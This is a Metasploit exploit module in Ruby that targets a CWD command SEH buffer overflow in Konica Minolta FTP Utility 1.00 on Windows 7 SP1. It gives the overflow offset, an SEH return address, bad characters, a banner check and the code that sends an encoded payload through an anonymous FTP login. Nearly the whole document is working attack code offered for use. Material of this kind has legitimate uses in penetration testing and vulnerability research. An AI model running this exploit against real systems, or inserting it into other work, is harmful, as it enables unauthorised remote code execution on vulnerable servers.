Konica Minolta FTP Utility 1.00 Post Auth CWD Command SEH Overflow

`##  
# This module requires Metasploit: http://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = NormalRanking  
  
include Msf::Exploit::Remote::Ftp  
include Msf::Exploit::Seh  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Konica Minolta FTP Utility 1.00 Post Auth CWD Command SEH Overflow',  
'Description' => %q{  
This module exploits an SEH overflow in Konica Minolta FTP Server 1.00.  
Konica Minolta FTP fails to check input size when parsing 'CWD' commands, which  
leads to an SEH overflow. Konica FTP allows anonymous access by default; valid  
credentials are typically unnecessary to exploit this vulnerability.  
},  
'Author' =>  
[  
'Shankar Damodaran', # stack buffer overflow dos p.o.c  
'Muhamad Fadzil Ramli <mind1355[at]gmail.com>' # seh overflow, metasploit module  
],  
'License' => MSF_LICENSE,  
'References' =>  
[  
[ 'EBD', '37908' ]  
],  
'Privileged' => false,  
'Payload' =>  
{  
'Space' => 1500,  
'BadChars' => "\x00\x0a\x2f\x5c",  
'DisableNops' => true  
},  
'Platform' => 'win',  
'Targets' =>  
[  
[  
'Windows 7 SP1 x86',  
{  
'Ret' => 0x12206d9d, # ppr - KMFtpCM.dll  
'Offset' => 1037  
}  
]  
],  
'DisclosureDate' => 'Aug 23 2015',  
'DefaultTarget' => 0))  
end  
  
def check  
connect  
disconnect  
  
if banner =~ /FTP Utility FTP server \(Version 1\.00\)/  
return Exploit::CheckCode::Detected  
else  
return Exploit::CheckCode::Safe  
end  
end  
  
def exploit  
connect_login  
  
buf = rand_text(target['Offset'])  
buf << generate_seh_record(target.ret)  
buf << payload.encoded  
buf << rand_text(3000)  
  
print_status("Sending exploit buffer...")  
send_cmd(['CWD', buf], false) # this will automatically put a space between 'CWD' and our attack string  
  
handler  
disconnect  
end  
end  
`